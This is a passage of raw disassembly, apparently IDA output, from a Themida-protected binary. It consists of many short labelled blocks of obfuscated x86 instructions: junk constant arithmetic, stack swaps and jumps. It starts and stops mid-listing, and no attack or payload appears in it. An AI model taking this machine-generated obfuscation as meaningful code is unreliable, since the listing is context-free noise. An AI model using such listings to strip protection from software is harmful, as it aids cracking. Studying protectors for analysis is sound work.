loc_59725B ; --------------------------------------------------------------------------- loc_59F5AE: ; CODE XREF: Themida_:005A2222j add ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp xchg edx, [edi+24h] loc_59F5C1: ; CODE XREF: Themida_:005A3876j sub esp, 4 mov [esp], ebp push ebx jmp loc_59473D ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] pop eax push eax push esp pop eax push ecx push esp mov ecx, [esp] add esp, 4 push edi mov edi, 375246C2h sub edi, 375246BEh add ecx, edi pop edi sub ecx, 4 xchg ecx, [esp] pop esp jmp loc_590487 ; --------------------------------------------------------------------------- loc_59F600: ; CODE XREF: Themida_:00590F7Bj push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp sub ecx, 5C247394h xor ecx, 0C1400E49h sub esi, ecx mov ecx, [esp] add esp, 4 and eax, esi pop esi or eax, eax jz loc_592BE1 sub esp, 4 mov [esp], ecx push 28h push dword ptr [esp] pop ecx push esi mov esi, esp push 5C6Bh mov [esp], eax jmp loc_59D45C ; --------------------------------------------------------------------------- loc_59F654: ; CODE XREF: Themida_:00594374j sub esi, 11833149h add esi, eax add esi, 11833149h mov eax, [esp] add esp, 4 push ecx mov ecx, esp jmp loc_595C1B ; --------------------------------------------------------------------------- loc_59F670: ; CODE XREF: Themida_:005A0721j push esi push edi push 413D158Fh pop edi jmp loc_590E1D ; --------------------------------------------------------------------------- loc_59F67D: ; CODE XREF: Themida_:00595B67j mov ebp, 41FBF05Bh add edx, ebp mov ebp, [esp] add esp, 4 shr edx, 5 push ebx mov ebx, 410E046Bh sub edx, ebx pop ebx sub edx, 7CDE0A4Fh add edx, 5DFD6E86h push esi mov esi, 0A0E97EFDh xor edx, esi pop esi and ebp, edx jmp loc_599CBE ; --------------------------------------------------------------------------- loc_59F6B2: ; CODE XREF: Themida_:00599169j push eax mov eax, 4CF81671h jmp loc_59B06E ; --------------------------------------------------------------------------- loc_59F6BD: ; CODE XREF: Themida_:005A5410j add esp, 4 jmp loc_5956F0 ; --------------------------------------------------------------------------- loc_59F6C5: ; CODE XREF: Themida_:00596712j mov [esp], dx push ax pushf jmp loc_599875 ; --------------------------------------------------------------------------- loc_59F6D1: ; CODE XREF: Themida_:00598A37j mov edi, 2BEC3676h shr edi, 2 jmp loc_59CE08 ; --------------------------------------------------------------------------- loc_59F6DE: ; CODE XREF: Themida_:0059BE0Cj sub esi, ebx pop ebx pop ecx neg esi jmp loc_5908A9 ; --------------------------------------------------------------------------- loc_59F6E9: ; CODE XREF: Themida_:005A3355j add ebp, ecx jmp loc_59C20A ; --------------------------------------------------------------------------- loc_59F6F0: ; CODE XREF: Themida_:0059BD92j sub edx, 1 not edx inc edx push ecx jmp loc_597A29 ; --------------------------------------------------------------------------- loc_59F6FF: ; CODE XREF: Themida_:005A015Bj mov ebp, 0C5685BFDh sub edx, ebp pop ebp push 65F9h mov [esp], edi mov edi, 19EA5B2Fh dec edi neg edi not edi and edi, 0A724E3h sub edi, 580D5FC3h xor edi, 902BEF18h add ebp, edi pop edi sub ebp, 3616186Fh sub ebp, edx add ebp, 3616186Fh jmp loc_59A5F2 ; --------------------------------------------------------------------------- loc_59F741: ; CODE XREF: Themida_:00591822j push edi jmp loc_59A700 ; --------------------------------------------------------------------------- loc_59F747: ; CODE XREF: Themida_:0059B3E2j pop dword ptr [esp] add dword ptr [esp], 4 pop esi push edi jmp loc_5A101C ; --------------------------------------------------------------------------- loc_59F758: ; CODE XREF: Themida_:00591F50j neg edi jmp loc_59BB37 ; --------------------------------------------------------------------------- loc_59F75F: ; CODE XREF: Themida_:005A039Fj push ebp jmp loc_59F975 ; --------------------------------------------------------------------------- loc_59F765: ; CODE XREF: Themida_:0059A342j sub esi, edi sub esi, 6A8D3736h jmp loc_593AF7 ; --------------------------------------------------------------------------- loc_59F772: ; CODE XREF: Themida_:005A49E1j push 6E4h mov [esp], esi mov esi, 4 jmp loc_59BB95 ; --------------------------------------------------------------------------- loc_59F784: ; CODE XREF: Themida_:0059BA11j shl ecx, 5 push edi mov edi, 0C71C6E04h add ecx, edi pop edi add eax, 0D240B83h add eax, ecx jmp loc_59599B ; --------------------------------------------------------------------------- loc_59F79C: ; CODE XREF: Themida_:005A3A60j xor bl, 0B4h shl bl, 3 push ecx mov cl, 0 shl cl, 8 or cl, 68h jmp loc_59FA29 ; --------------------------------------------------------------------------- loc_59F7B0: ; CODE XREF: Themida_:0059DB54j mov ebx, edx pop edx or ebx, 1661527Fh shl ebx, 5 push eax push ecx push ebp push 2DF45E78h jmp loc_5982F1 ; --------------------------------------------------------------------------- loc_59F7C9: ; CODE XREF: Themida_:0059E711j shr esi, 5 xor esi, 1BCE842h add ebx, esi jmp loc_592B44 ; --------------------------------------------------------------------------- loc_59F7D9: ; CODE XREF: Themida_:0059709Fj push esp push dword ptr [esp] jmp loc_5A164D ; --------------------------------------------------------------------------- loc_59F7E2: ; CODE XREF: Themida_:005960F6j mov ebp, [esp] add esp, 4 jmp loc_593B35 ; --------------------------------------------------------------------------- loc_59F7F0: ; CODE XREF: Themida_:00592310j push 3C66h mov [esp], edi jmp loc_5A4C6E ; --------------------------------------------------------------------------- loc_59F7FD: ; CODE XREF: Themida_:005A5509j pop ebx mov edx, [esp] add esp, 4 push dword ptr [esp] mov eax, [esp] add esp, 4 jmp loc_5A1764 ; --------------------------------------------------------------------------- loc_59F818: ; CODE XREF: Themida_:005998BAj pop eax add eax, 4 push ebx jmp loc_596E33 ; --------------------------------------------------------------------------- loc_59F824: ; CODE XREF: Themida_:005A0049j sub edi, ecx jmp loc_59BBCD ; --------------------------------------------------------------------------- loc_59F82B: ; CODE XREF: Themida_:00591BCFj mov edx, [esp] add esp, 4 push ebx mov ebx, 0 sub ebx, esi xchg ebx, esi pop ebx shr esi, 7 add esi, 66703085h jmp loc_5A2F8C ; --------------------------------------------------------------------------- loc_59F84A: ; CODE XREF: Themida_:0059B875j pop ecx add edi, eax sub edi, 5B164135h mov eax, [esp] add esp, 4 jmp loc_59CB5B ; --------------------------------------------------------------------------- loc_59F85E: ; CODE XREF: Themida_:0059E7F5j pop eax add cl, bh pop ebx sub cl, dl jmp loc_59F09A ; --------------------------------------------------------------------------- loc_59F869: ; CODE XREF: Themida_:0059B86Ej add dword ptr [esp], 4 jmp loc_59B3FC ; --------------------------------------------------------------------------- loc_59F875: ; CODE XREF: Themida_:00592A1Bj mov ebp, [esp] jmp loc_596782 ; --------------------------------------------------------------------------- loc_59F87D: ; CODE XREF: Themida_:00599C2Fj dec eax or eax, 406C2410h sub eax, 776C6D0Ch sub ebx, eax pop eax jmp loc_5A3834 ; --------------------------------------------------------------------------- loc_59F890: ; CODE XREF: Themida_:00592396j add edi, ebp pop ebp push ebp mov ebp, 574C30E4h not ebp sub ebp, 3421D5BEh add edi, ebp pop ebp add eax, edi jmp loc_592366 ; --------------------------------------------------------------------------- loc_59F8AB: ; CODE XREF: Themida_:005A378Ej xor edi, 51E4777Ch neg edi jmp loc_5A44F7 ; --------------------------------------------------------------------------- loc_59F8B8: ; CODE XREF: Themida_:0059BDBDj push eax mov eax, 33A13D56h jmp loc_590F70 ; --------------------------------------------------------------------------- loc_59F8C3: ; CODE XREF: Themida_:005A1A67j sub al, dh jmp loc_597B61 ; --------------------------------------------------------------------------- loc_59F8CA: ; CODE XREF: Themida_:005A1FD2j not ecx shr ecx, 2 dec ecx xor ecx, 2FE1BFE4h jmp loc_5A515F ; --------------------------------------------------------------------------- loc_59F8DB: ; CODE XREF: Themida_:00596EECj shr ecx, 2 not ecx xor ecx, 0E79BB1D0h add esi, ecx pop ecx add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] jmp loc_598306 ; --------------------------------------------------------------------------- loc_59F8FD: ; CODE XREF: Themida_:0059FFD5j shl bh, 2 sub esp, 4 jmp loc_59E080 ; --------------------------------------------------------------------------- loc_59F908: ; CODE XREF: Themida_:005A4CC9j mov eax, 4A4D3246h sub ebx, eax pop eax mov esi, [esp] add esp, 4 add ebp, 7DC5543h add ebp, ebx sub ebp, 7DC5543h mov ebx, [esp] add esp, 4 xor ebp, [esp] jmp loc_596DAF ; --------------------------------------------------------------------------- loc_59F932: ; CODE XREF: Themida_:005933BFj mov [esp], sp push si jmp loc_5977E8 ; --------------------------------------------------------------------------- loc_59F93D: ; CODE XREF: Themida_:00599202j mov [esp], eax mov eax, 2 add ecx, eax jmp loc_5A21BD ; --------------------------------------------------------------------------- loc_59F94C: ; CODE XREF: Themida_:005A2C7Cj pop edi push 0 jmp loc_59A30A ; --------------------------------------------------------------------------- loc_59F957: ; CODE XREF: Themida_:00596A48j push 6BA6h jmp loc_5941F6 ; --------------------------------------------------------------------------- loc_59F961: ; CODE XREF: Themida_:005A1862j shl ecx, 2 push esi jmp loc_5935A5 ; --------------------------------------------------------------------------- loc_59F96A: ; CODE XREF: Themida_:0059AE22j sub ebx, 73E13732h jmp loc_59477A ; --------------------------------------------------------------------------- loc_59F975: ; CODE XREF: Themida_:0059F760j sub esp, 4 mov [esp], edx sub dword ptr [esp], 76E554DCh pop ebp jmp loc_5A4F61 ; --------------------------------------------------------------------------- loc_59F988: ; CODE XREF: Themida_:0059155Fj sub ecx, esi sub ecx, 44E3D3Bh pop esi pop eax sub ecx, 284A6757h sub ecx, ebp add ecx, 284A6757h add ecx, 5DBD2CD2h pop ebp sub esp, 4 mov [esp], ebp push esp mov ebp, [esp] add esp, 4 push esi push edi mov edi, 7FCE2971h or edi, 16311C6Ah xor edi, 2316A22h neg edi jmp loc_59F526 ; --------------------------------------------------------------------------- loc_59F9D1: ; CODE XREF: Themida_:0059816Fj add ebx, edi push dword ptr [ebx] add dword ptr [esp], 55794C94h jmp loc_591CD8 ; --------------------------------------------------------------------------- loc_59F9E1: ; CODE XREF: Themida_:0059467Fj sub ebx, 51BA776Bh mov edi, [esp] push edx mov edx, esp add edx, 4 jmp loc_591DBD ; --------------------------------------------------------------------------- loc_59F9F8: ; CODE XREF: Themida_:0059475Fj and ebp, 52B255E3h add ebp, 0FFFFFFFFh jmp loc_5A0A39 ; --------------------------------------------------------------------------- loc_59FA06: ; CODE XREF: Themida_:0059925Aj push dx mov dh, 56h sub al, dh mov dx, [esp] add esp, 2 jmp loc_5A367E ; --------------------------------------------------------------------------- lodsb sub al, 0Ah jmp loc_594460 ; --------------------------------------------------------------------------- loc_59FA20: ; CODE XREF: Themida_:0059490Cj push ebp mov ebp, esp push esi jmp loc_59284F ; --------------------------------------------------------------------------- loc_59FA29: ; CODE XREF: Themida_:0059F7ABj dec cl inc cl xor cl, 26h sub bl, 75h sub bl, cl jmp loc_59E132 ; --------------------------------------------------------------------------- loc_59FA3A: ; CODE XREF: Themida_:0059C1B4j xchg eax, [esp] pop esp push esi push esp pop esi jmp loc_59C96A ; --------------------------------------------------------------------------- loc_59FA46: ; CODE XREF: Themida_:00596FBEj push esi push edi mov edi, 5CB45FC2h shl edi, 6 and edi, 191F3775h shr edi, 2 jmp loc_59962E ; --------------------------------------------------------------------------- loc_59FA5E: ; CODE XREF: Themida_:0059B37Aj pop edx add ebx, esi pop esi sub ebx, 4 sub esp, 4 jmp loc_595FA9 ; --------------------------------------------------------------------------- loc_59FA73: ; CODE XREF: Themida_:005A1B24j mov esi, 4 add [esp+4], esi pop esi pop ecx jmp loc_59B07B ; --------------------------------------------------------------------------- loc_59FA83: ; CODE XREF: Themida_:0059CB07j push edx mov edx, 4 sub esi, 68FD5FEEh add esi, edx add esi, 68FD5FEEh jmp loc_5A0654 ; --------------------------------------------------------------------------- loc_59FA9C: ; CODE XREF: Themida_:005A05F8j mov [esp], esi mov esi, 174A356Bh dec esi or esi, 4CAA2004h xor esi, 5FEA356Ch add eax, 7B0666BFh sub eax, 5E10150Eh add eax, esi add eax, 5E10150Eh sub eax, 7B0666BFh jmp loc_5A07BC ; --------------------------------------------------------------------------- loc_59FACC: ; CODE XREF: Themida_:00593E51j mov ebx, 92F497C7h sub ebx, eax jmp loc_59741A ; --------------------------------------------------------------------------- loc_59FAD8: ; CODE XREF: Themida_:00596FD5j add eax, ebx jmp loc_599BC4 ; --------------------------------------------------------------------------- loc_59FADF: ; CODE XREF: Themida_:0059D352j pop ebp not esi add esi, 0FFFFFFFFh push edx mov edx, 66055EE7h shr edx, 4 not edx or edx, 14062CF8h xor edx, 2042CA2Eh sub esi, edx pop edx sub edi, esi pop esi add edi, edx add edi, 6ECD4FEBh jmp loc_5915A3 ; --------------------------------------------------------------------------- loc_59FB12: ; CODE XREF: Themida_:005A26DFj mov edi, [esp] add esp, 4 push ebp mov ebp, 35AD5A1Bh sub ebx, ebp pop ebp add ebx, 65FD0CE4h inc ebx jmp loc_59E42A ; --------------------------------------------------------------------------- loc_59FB2D: ; CODE XREF: Themida_:0059FC0Cj add esi, 4 xchg esi, [esp] pop esp jmp loc_59C167 ; --------------------------------------------------------------------------- loc_59FB39: ; CODE XREF: Themida_:00592F6Cj mov ebx, esp add ebx, 4 jmp loc_5A47F3 ; --------------------------------------------------------------------------- loc_59FB46: ; CODE XREF: Themida_:0059AEC8j mov [esp], esi push edi jmp loc_5A4059 ; --------------------------------------------------------------------------- loc_59FB4F: ; CODE XREF: Themida_:0059BF5Dj mov ebp, 3DB96BBBh xor ebp, 515D4BFFh jmp loc_59C452 ; --------------------------------------------------------------------------- loc_59FB5F: ; CODE XREF: Themida_:0059B75Ej pop esi jmp loc_5935B1 ; --------------------------------------------------------------------------- loc_59FB65: ; CODE XREF: Themida_:005940CAj xor eax, 24382449h shl eax, 6 add eax, 77BDC993h mov edi, eax mov eax, [esp] jmp loc_5958B6 ; --------------------------------------------------------------------------- loc_59FB7C: ; CODE XREF: Themida_:0059895Dj push dword ptr [esp] pop ebp add esp, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_59FB95: ; CODE XREF: Themida_:0059BA4Aj mov [esp], edx mov edx, 4 mov esi, edx pop edx sub ebx, esi pop esi sub esp, 4 mov [esp], ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] mov esp, [esp] mov [esp], edx jmp loc_5A274C ; --------------------------------------------------------------------------- loc_59FBBF: ; CODE XREF: Themida_:005A53EAj mov [esp], ebp push 7D55h mov [esp], ecx jmp loc_592E06 ; --------------------------------------------------------------------------- loc_59FBCF: ; CODE XREF: Themida_:005A4628j xor ebx, 1AB5205Fh shl ebx, 1 push eax mov eax, 39A24886h jmp loc_593C1B ; --------------------------------------------------------------------------- loc_59FBE2: ; CODE XREF: Themida_:0059D71Bj mov [esp], esi mov esi, 47F73B6Bh add eax, 752C2C16h sub eax, esi sub esp, 4 mov [esp], esi mov esi, 752C2C16h jmp loc_592A8F ; --------------------------------------------------------------------------- loc_59FC04: ; CODE XREF: Themida_:005A4843j mov esi, esp add esi, 4 jmp loc_59FB2D ; --------------------------------------------------------------------------- loc_59FC11: ; CODE XREF: Themida_:005A3BEFj push dword ptr [esp] pop ebx add esp, 4 mov eax, [esp] jmp loc_5918C4 ; --------------------------------------------------------------------------- loc_59FC20: ; CODE XREF: Themida_:00594EEFj xor eax, [esp] jmp loc_59151A ; --------------------------------------------------------------------------- loc_59FC28: ; CODE XREF: Themida_:005999E8j sub esp, 4 mov [esp], eax mov eax, 0A5D9816Fh jmp loc_59D8CD ; --------------------------------------------------------------------------- loc_59FC38: ; CODE XREF: Themida_:0059A20Aj pop edi push ecx jmp loc_59966E ; --------------------------------------------------------------------------- loc_59FC3F: ; CODE XREF: Themida_:005924AEj push 32E4h mov [esp], eax jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_59FC4C: ; CODE XREF: Themida_:00593840j add esp, 4 add esp, 4 add esp, 4 jmp loc_599D08 ; --------------------------------------------------------------------------- loc_59FC5A: ; CODE XREF: Themida_:005A0E15j mov [esp], edi jmp loc_59F19C ; --------------------------------------------------------------------------- loc_59FC62: ; CODE XREF: Themida_:00599C69j mov ch, bh push bx mov bl, ch jmp loc_5979C9 ; --------------------------------------------------------------------------- loc_59FC6D: ; CODE XREF: Themida_:00598EFAj pop edi or eax, eax jz loc_594CA0 push dword ptr [edi+1Ch] push 26BBh mov [esp], eax mov eax, 13F472E2h sub dword ptr [esp+4], 2BA80B4Ah sub [esp+4], eax add dword ptr [esp+4], 2BA80B4Ah pop eax pop ecx push 7ACCh mov [esp], ebx mov ebx, 55D32BDBh push edi mov edi, 34AD1A99h sub edi, 1 push esi push eax mov eax, 70E949D0h sub eax, 5A841FFEh shr eax, 2 sub eax, 0BE39D0EDh jmp loc_59ECD8 ; --------------------------------------------------------------------------- loc_59FCCE: ; CODE XREF: Themida_:005993ABj mov edx, 729F7AFEh add ebx, 33A61B86h add ebx, edx jmp loc_592CD1 ; --------------------------------------------------------------------------- loc_59FCE0: ; CODE XREF: Themida_:00592346j push eax mov eax, 7A5D1EA3h not eax jmp loc_59AEAA ; --------------------------------------------------------------------------- loc_59FCED: ; CODE XREF: Themida_:0059067Cj xchg esi, [esp] pop esp mov bl, cl pop ecx jmp loc_5949F7 ; --------------------------------------------------------------------------- loc_59FCF9: ; CODE XREF: Themida_:005A2933j push edx mov edx, 53B575D5h dec edx sub edx, 4DCA4874h jmp loc_594CD9 ; --------------------------------------------------------------------------- loc_59FD0B: ; CODE XREF: Themida_:0059D3C2j pop edx mov ecx, 28935B0Dh sub ecx, ebx jmp loc_5A0A20 ; --------------------------------------------------------------------------- loc_59FD18: ; CODE XREF: Themida_:005A4C7Cj sub ebp, 4CB13A37h jmp loc_5A5089 ; --------------------------------------------------------------------------- loc_59FD23: ; CODE XREF: Themida_:00599B9Dj pop esi push esi push edi mov edi, 5FB114F2h mov esi, 5FB114F6h xor esi, edi jmp loc_5A12FB ; --------------------------------------------------------------------------- loc_59FD37: ; CODE XREF: Themida_:005A1B33j push dword ptr [esp+4] mov edi, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] mov esp, [esp] pop dword ptr [esp] pop esp sub [esp], al pushf jmp loc_594F25 ; --------------------------------------------------------------------------- loc_59FD5E: ; CODE XREF: Themida_:00593215j add eax, 0CB7EFA04h sub ebx, 4E43FEAh add ebx, eax add ebx, 4E43FEAh pop eax sub ebx, ebp sub ebx, 1138361Eh mov ebp, [esp] jmp loc_5A158D ; --------------------------------------------------------------------------- loc_59FD82: ; CODE XREF: Themida_:005A2786j mov eax, 0ABE0C10h jmp loc_59278F ; --------------------------------------------------------------------------- loc_59FD8C: ; CODE XREF: Themida_:005981D1j mov eax, [esp] jmp loc_5A1F47 ; --------------------------------------------------------------------------- loc_59FD94: ; CODE XREF: Themida_:005A5644j add esi, edi mov edi, [esp] jmp loc_591FEB ; --------------------------------------------------------------------------- loc_59FD9E: ; CODE XREF: Themida_:005A32FCj mov ebp, esp add ebp, 4 sub esp, 4 mov [esp], edi push esi jmp loc_599776 ; --------------------------------------------------------------------------- loc_59FDB2: ; CODE XREF: Themida_:005A23E7j mov esp, [esp] push ebx jmp loc_59B1EE ; --------------------------------------------------------------------------- loc_59FDBB: ; CODE XREF: Themida_:0059E3A1j pop esp push 434Ch jmp loc_597154 ; --------------------------------------------------------------------------- loc_59FDC6: ; CODE XREF: Themida_:005A16B3j sub ebp, 0FAF43D3h xor ebp, 4FB926D0h jmp loc_591610 ; --------------------------------------------------------------------------- loc_59FDD7: ; CODE XREF: Themida_:005A0317j shl ebp, 7 shl ebp, 3 sub ebp, 3EF42839h sub esi, ebp pop ebp push eax jmp loc_5A45D2 ; --------------------------------------------------------------------------- loc_59FDEC: ; CODE XREF: Themida_:00592139j push esp mov eax, [esp] push ebx jmp loc_598D4E ; --------------------------------------------------------------------------- loc_59FDF6: ; CODE XREF: Themida_:0059894Ej push ebx jmp loc_59E0E4 ; --------------------------------------------------------------------------- loc_59FDFC: ; CODE XREF: Themida_:0059474Aj pop ecx push dword ptr [esp] pop edx push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp sub edx, 5F870934h mov eax, edx jmp loc_593059 ; --------------------------------------------------------------------------- loc_59FE1D: ; CODE XREF: Themida_:0059E7D5j pop ebx jmp loc_59A934 ; --------------------------------------------------------------------------- loc_59FE23: ; CODE XREF: Themida_:0059A6BCj mov dl, 97h and bh, dl pop edx not bh sub bh, 0FFh shr bh, 2 jmp loc_59E997 ; --------------------------------------------------------------------------- loc_59FE35: ; CODE XREF: Themida_:005A1BA7j xor [esp], di xor di, [esp] xor [esp], di jmp loc_59367F ; --------------------------------------------------------------------------- loc_59FE46: ; CODE XREF: Themida_:005A36C7j add ecx, 612947B4h add ecx, ebx sub ecx, 612947B4h pop ebx push eax jmp loc_59ED5F ; --------------------------------------------------------------------------- loc_59FE5B: ; CODE XREF: Themida_:00590C41j push 6F4Dh mov [esp], ebx push ebp push eax mov eax, 4000h mov ebp, eax pop eax sub esp, 4 jmp loc_5A0765 ; --------------------------------------------------------------------------- loc_59FE75: ; CODE XREF: Themida_:00594A01j pop ebp add esp, 4 xor eax, [esp] xor [esp], eax jmp loc_5A1642 ; --------------------------------------------------------------------------- loc_59FE87: ; CODE XREF: Themida_:00595EA7j pop eax dec edi sub edi, 2F696C42h or edi, 3060273Fh inc edi add edi, 3E7B0FB4h jmp loc_597F24 ; --------------------------------------------------------------------------- loc_59FEA1: ; CODE XREF: Themida_:005A4F4Fj add ebx, 4 push edx push 61166A5Eh pop edx neg edx sub edx, 36711617h shr edx, 2 shl edx, 5 xor edx, 4B4B13C2h add edx, 0F7771082h add ebx, edx jmp loc_5A3B9B ; --------------------------------------------------------------------------- loc_59FECF: ; CODE XREF: Themida_:0059499Ej pop ebx jmp loc_5975DF ; --------------------------------------------------------------------------- loc_59FED5: ; CODE XREF: Themida_:0059F1BCj add ebx, 7C6E2FA5h pop edx push ecx mov ecx, esp push esi jmp loc_5A45B8 ; --------------------------------------------------------------------------- loc_59FEE5: ; CODE XREF: Themida_:005946BFj mov edi, 4 jmp loc_5A07DE ; --------------------------------------------------------------------------- loc_59FEEF: ; CODE XREF: Themida_:005915CBj pop edx sub edi, 75940FFh add edi, ecx add edi, 75940FFh push esi push edx push 7F7D03C5h pop edx or edx, 61414DDCh push eax mov eax, 1788D7D6h sub edx, eax jmp loc_5A1FD7 ; --------------------------------------------------------------------------- loc_59FF19: ; CODE XREF: Themida_:00597442j sub ebx, 64BD3B00h add ebx, 69B33CB2h add edx, ebx jmp loc_5942CC ; --------------------------------------------------------------------------- loc_59FF2C: ; CODE XREF: Themida_:0059AFEAj mov esi, 4 sub edx, 4B872A83h add edx, 73246ABCh jmp loc_59A035 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax sbb [esp], al pushf jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_59FF51: ; CODE XREF: Themida_:005939C8j push ebp mov ebp, 8AB52ECh and ebp, 6D9F1D76h push esi mov esi, 6067379Fh push 79ECh mov [esp], edi mov edi, 427224E1h push ecx mov ecx, 2CE73383h add edi, ecx pop ecx jmp loc_591603 ; --------------------------------------------------------------------------- loc_59FF7E: ; CODE XREF: Themida_:005A2626j mov eax, 4 jmp loc_594315 ; --------------------------------------------------------------------------- loc_59FF88: ; CODE XREF: Themida_:00596D54j pop edx jmp loc_597630 ; --------------------------------------------------------------------------- loc_59FF8E: ; CODE XREF: Themida_:005A21E8j mov edi, 3A5F2ADFh mov ecx, 9A445548h sub ecx, edi pop edi add eax, 4CA60FB5h sub eax, ecx push edi jmp loc_5A18E6 ; --------------------------------------------------------------------------- loc_59FFA8: ; CODE XREF: Themida_:005A4AC4j mov dl, 0A5h jmp loc_592EAA ; --------------------------------------------------------------------------- loc_59FFAF: ; CODE XREF: Themida_:005A3E5Dj add ebp, 172136ACh add ebp, 0FBDD7A5Ch jmp loc_5A27CD ; --------------------------------------------------------------------------- loc_59FFC0: ; CODE XREF: Themida_:005915FEj sub edi, 2B340D6h push edx mov edx, 63D064B9h sub edi, edx jmp loc_590D6A ; --------------------------------------------------------------------------- loc_59FFD3: ; CODE XREF: Themida_:0059B35Ej xchg al, bh jmp loc_59F8FD ; --------------------------------------------------------------------------- loc_59FFDA: ; CODE XREF: Themida_:0059DB7Aj xor bh, 0F1h add al, bh mov ebx, [esp] add esp, 4 mov bx, [esp] push 40A2h mov [esp], ecx push esp pop ecx add ecx, 4 add ecx, 2 xchg ecx, [esp] mov esp, [esp] push 521Ch jmp loc_5A1A85 ; --------------------------------------------------------------------------- loc_5A000F: ; CODE XREF: Themida_:00597C47j mov edx, 319F71A4h inc edx shl edx, 4 or edx, 5A81065h and edx, 2A0136ECh jmp loc_592469 ; --------------------------------------------------------------------------- loc_5A0029: ; CODE XREF: Themida_:0059E988j pop esp mov [esp], edx mov edx, 4 mov ebx, edx jmp loc_5A2C20 ; --------------------------------------------------------------------------- loc_5A0039: ; CODE XREF: Themida_:00590C08j push edx push 7FD746BAh pop edx mov ecx, edx pop edx add edi, 3CAC4FFBh jmp loc_59F824 ; --------------------------------------------------------------------------- loc_5A004E: ; CODE XREF: Themida_:00596279j shr eax, 2 shl eax, 7 jmp loc_59A472 ; --------------------------------------------------------------------------- loc_5A0059: ; CODE XREF: Themida_:00599CC4j xchg edx, ebp shl ebp, 4 push 42CFh mov [esp], edx mov edx, 24B70085h add ebp, edx pop edx jmp loc_596524 ; --------------------------------------------------------------------------- loc_5A0073: ; CODE XREF: Themida_:0059D9B3j xchg dl, cl sub cl, 9Fh xor bl, cl pop ecx xor al, bl jmp loc_594CB9 ; --------------------------------------------------------------------------- mov cx, [esp] push 2186h mov [esp], ebp push 1527h mov [esp], esp add dword ptr [esp], 4 pop ebp jmp loc_5A52D8 ; --------------------------------------------------------------------------- loc_5A00A3: ; CODE XREF: Themida_:005A286Aj push ebp pop edx pop ebp push ecx mov ecx, edx jmp loc_591D44 ; --------------------------------------------------------------------------- loc_5A00AE: ; CODE XREF: Themida_:00594919j add ebx, esi mov esi, [esp] jmp loc_5979AA ; --------------------------------------------------------------------------- loc_5A00B8: ; CODE XREF: Themida_:0059C074j xor [esp], edi xor edi, [esp] mov esp, [esp] jmp loc_59800B ; --------------------------------------------------------------------------- loc_5A00C6: ; CODE XREF: Themida_:0059B29Aj push ebp mov ebp, 20E6086Fh jmp loc_59DF42 ; --------------------------------------------------------------------------- loc_5A00D1: ; CODE XREF: Themida_:005954F6j mov edi, 3B515A98h add edx, edi jmp loc_593741 ; --------------------------------------------------------------------------- loc_5A00DD: ; CODE XREF: Themida_:00593028j mov edi, 6ECC05EAh push eax mov eax, 57A54ECFh sub [esp+8], eax pop eax sub [esp+4], edi add dword ptr [esp+4], 57A54ECFh push dword ptr [esp] pop edi push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp pop edi push ebx jmp loc_5A3C3B ; --------------------------------------------------------------------------- loc_5A0117: ; CODE XREF: Themida_:005A104Dj xor esi, [esp] mov esp, [esp] shl word ptr [esp], cl pushf jmp loc_59D170 ; --------------------------------------------------------------------------- loc_5A0127: ; CODE XREF: Themida_:0059A0B0j and ecx, 3F9B4366h or ecx, 95B12C7h add ecx, 21D0037Fh push ecx pop eax mov ecx, [esp] add esp, 4 push ecx mov ecx, 21936402h sub eax, ecx pop ecx add eax, 0FF483988h add edx, eax pop eax sub esp, 4 mov [esp], ebp jmp loc_59F6FF ; --------------------------------------------------------------------------- loc_5A0160: ; CODE XREF: Themida_:00596944j pop dword ptr [esp] jmp loc_5997B9 ; --------------------------------------------------------------------------- loc_5A0168: ; CODE XREF: Themida_:0059598Ej push eax mov eax, esp add eax, 4 add eax, 4 push 2866h mov [esp], eax push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp jmp loc_5A0C6E ; --------------------------------------------------------------------------- loc_5A0189: ; CODE XREF: Themida_:00598295j xor eax, edx pop edx sub eax, 1 add eax, 0FFFFFFFFh shl eax, 3 jmp loc_5A3FBE ; --------------------------------------------------------------------------- loc_5A019A: ; CODE XREF: Themida_:005928F4j xchg ecx, [esp] mov esp, [esp] mov esi, [esp] add esp, 4 jmp loc_592EBC ; --------------------------------------------------------------------------- loc_5A01AB: ; CODE XREF: Themida_:0059D8E3j sub ecx, 4C7D1B4Ah sub ecx, 0B84DC988h add eax, ecx pop ecx sub eax, 76132D26h pop ebp push 26BEh mov [esp], ebp mov ebp, 15070424h sub esp, 4 mov [esp], edx mov edx, 25325694h dec edx not edx xor edx, 0AD5085FFh sub ebp, edx mov edx, [esp] add esp, 4 xor ebp, 62206660h push edx mov edx, 60067101h neg edx add edx, 74688E9Ah and ebp, edx pop edx push ecx mov ecx, 6AD30FBh or ecx, 6B6F6091h and ecx, 8DC1B02h xor ecx, 631392Bh jmp loc_5A3D83 ; --------------------------------------------------------------------------- loc_5A021D: ; CODE XREF: Themida_:005A4F41j push esi mov esi, 0B590D62Bh mov edx, esi jmp loc_59610D ; --------------------------------------------------------------------------- loc_5A022A: ; CODE XREF: Themida_:00599967j mov ecx, 4 sub esp, 4 mov [esp], ecx push 5EC6h mov [esp], ecx mov ecx, 7E300A59h add [esp+4], ecx pop ecx pop edi sub esp, 4 mov [esp], edx push 8BC18A6h pop edx sub edx, 10CA04FCh jmp loc_593660 ; --------------------------------------------------------------------------- loc_5A0265: ; CODE XREF: Themida_:005A209Aj jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_5A026A: ; CODE XREF: Themida_:00592246j not ecx sub ecx, 0BA86A01h sub ecx, 8CC41280h add edi, ecx pop ecx push eax push 4 pop eax jmp loc_5A2FE4 ; --------------------------------------------------------------------------- loc_5A0287: ; CODE XREF: Themida_:0059303Fj push esi push edx jmp loc_5A2DD1 ; --------------------------------------------------------------------------- loc_5A028E: ; CODE XREF: Themida_:005A414Ej add dword ptr [esp], 4 pop 